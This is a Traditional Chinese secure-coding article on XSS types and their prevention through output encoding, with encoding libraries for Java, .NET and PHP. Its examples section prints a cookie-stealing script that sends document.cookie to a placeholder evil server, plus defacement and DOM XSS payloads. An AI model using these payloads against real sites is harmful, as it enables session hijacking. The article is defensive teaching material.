XSS防護原理與防護程式庫
編碼是一種對許多攻擊防護的有效辦法. 特別是針對注入式的攻擊特別有防護效果. 注入式的攻擊主要透過編碼的方式將特殊符號轉換為一般正常的符號. 透過編碼的方式繞過驗證與過濾. 編碼可以防護的攻擊包含命令注入. (Unix指令, Windows指令) LDAP注入(LDAP 編碼) and XML injection (XML編碼)等. 另外一個對於有效預防XSS的攻擊方是就是資料輸出的編碼. (例如HTML編碼, JavaScript編碼等).
網站開發
網站開發團隊通常會建立動態的網頁, 網頁通常由靜態資料,HTML/JavaScript與使用者輸入的資料所組成. 這些輸入在網站處理的過程中有可能造成不可知的風險. 最常見的風險就是跨站腳本攻擊Cross-Site Scripting (XSS). XSS主要發生在駭客輸入惡意的JavaScript資料, 讓受害者瀏覽該網站時, 間接的執行該惡意JavaScript
範例
透過XSS site更改網頁
<script>document.body.innerHTML(“Jim was here”);</script>
XSS會話盜取
<script>
var img = new Image();
img.src=”hxxp://<some evil server>.com?” + document.cookie;
</script>
XSS的三種類型:
- Persistent 儲存
- Reflected 反射性
- DOM based DOM
Persistent XSS (or Stored XSS) 主要發生在XSS攻擊可以被儲存在網站資料庫或是檔案中. 這樣的XSS攻擊方式是最危險的攻擊. 因為所有受害使用者在登入網站之後都會受到影響,單一的XSS攻擊會所造成的影響層面是所有網站的使用者.
Reflected XSS會發生的成因在於駭客利用XSS的輸入成為URL的一部份,誘導使用者點擊瀏覽該URL. 當使受害者瀏覽該URL時候, XSS攻擊就會被觸發. Reflected XSS這樣的攻擊方式比較沒有那麼危險, 因為這樣的攻擊前提是需要駭客與使用者有進一步的互動, 誘導使用者點擊的前提下才會發生.
DOM based XSS主要發生在DOM而不是HTML.也就是說網頁本身不會改變, 但是用戶端的程序網頁的執行會隨著DOM的惡意修改而有所改變. 這樣的攻擊方式只能在動態時被觀察. 舉例來說, 這個網址hxxp://www.example.com/test.html包含下列程式碼:
<script>document.write(“Current URL : ” + document.baseURI);</script>
A DOM Based XSS攻擊方式可以透過傳送URL: hxxp://www.example.com/test.html#<script>alert(1)</script> 如果只是看原始程式碼並無法看出<script>alert(1)</script>,因為JavaScript的執行主要透過DOM的方式完成.
輸出的編碼是防護XSS最有效的方式. 輸出編碼主要是在建立使用者介面之前,將使用者輸入的相關數據進行編碼,這樣可以避免動態網頁由於XSS的輸入所造成的攻擊. 資料的編碼可能在HTML屬性, HTML body或是JavaScript程式碼等
編碼的方式有HTML Entity Encoding, JavaScript Encoding 與Percent Encoding (aka URL Encoding)等. OWASP’s Java Encoder Project提供編碼函數,可以針對Java進行編碼. .NET 4.5, 可以使用AntiXssEncoder Class,這個程式庫提供CSS, HTML, URL, JavaScriptString 與XML encoders等網頁編碼方式. 另外AntiXSS程式庫也包含LDAP與VBScript的編碼方式.每一種網頁的程式語言都會有相對應編碼程式庫的支援.
手機應用程式開發
手機應用程式中,主要透過WebView在android/iOS應用程式顯示HTML/JavaScript內容,手機使用的瀏覽器Safari與Chrome核心架構與電腦相同. 因此對於網站應用程式來說, XSS也會透過惡意的輸入或是沒有經過編碼的輸出造成HTML/JavaScript載入到WebView時所帶來的XSS攻擊.因此,WebView也是駭客用來攻擊用戶端的一種方式.例如照相,取得地理位置,發送簡訊,發送電子郵件等攻擊. 這些都會造成資料隱私外洩或是財務風險.
對於這樣的攻擊方式的防護取決於該應用程式如何使用手機WebView:
惡意製造使用者輸入內容: 這種的攻擊方式主要透過資料的過濾或是輸出到Web View的編碼來完成.
透過外部資源載入: 如果WebView中必須要顯示外部網站資源,建議使用獨立安全的內容伺服器來源來提供相關內容,另外針對HTML/JavaScript的輸出內容加以編碼呈現. 避免被惡意的JavaScript程式碼攻擊.
Java 範例
舉例來說, OWASP Java Encoder這個專案提供XSS防護建置程式庫: OWASP Java Encoder Project.
PHP範例
Zend Framework 2
In Zend framework 2, Zend\Escaper可以用來對資料輸出的編碼.
使用 ZF2的編碼範例:
<?php
$input = ‘<script>alert(“zf2″)</script>’;
$escaper = new Zend\Escaper\Escaper(‘utf-8’);
// somewhere in an HTML template
<div class=”user-provided-input”>
<?php echo $escaper->escapeHtml($input);?>
</div>
防護威脅
- OWASP Top 10 2013-A1-Injection
- OWASP Top 10 2013-A3-Cross-Site_Scripting_(XSS)
- OWASP Mobile_Top_10_2014-M7 Client Side Injection
參考
- 注入攻擊資訊參考OWASP Top 10 2013-A1-Injection
- XSS攻擊資訊參考XSS
- OWASP XSS Filter Evasion Attacks
- 防護XSS指南OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet
- 防護DOM XSSOWASP DOM based XSS Prevention Cheat Sheet
- 使用Microsoft AntiXSS編碼程式庫NET. http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/
- 使用Microsoft AntiXSS編碼程式庫主要編碼函數.https://msdn.microsoft.com/en-us/security/aa973814.aspx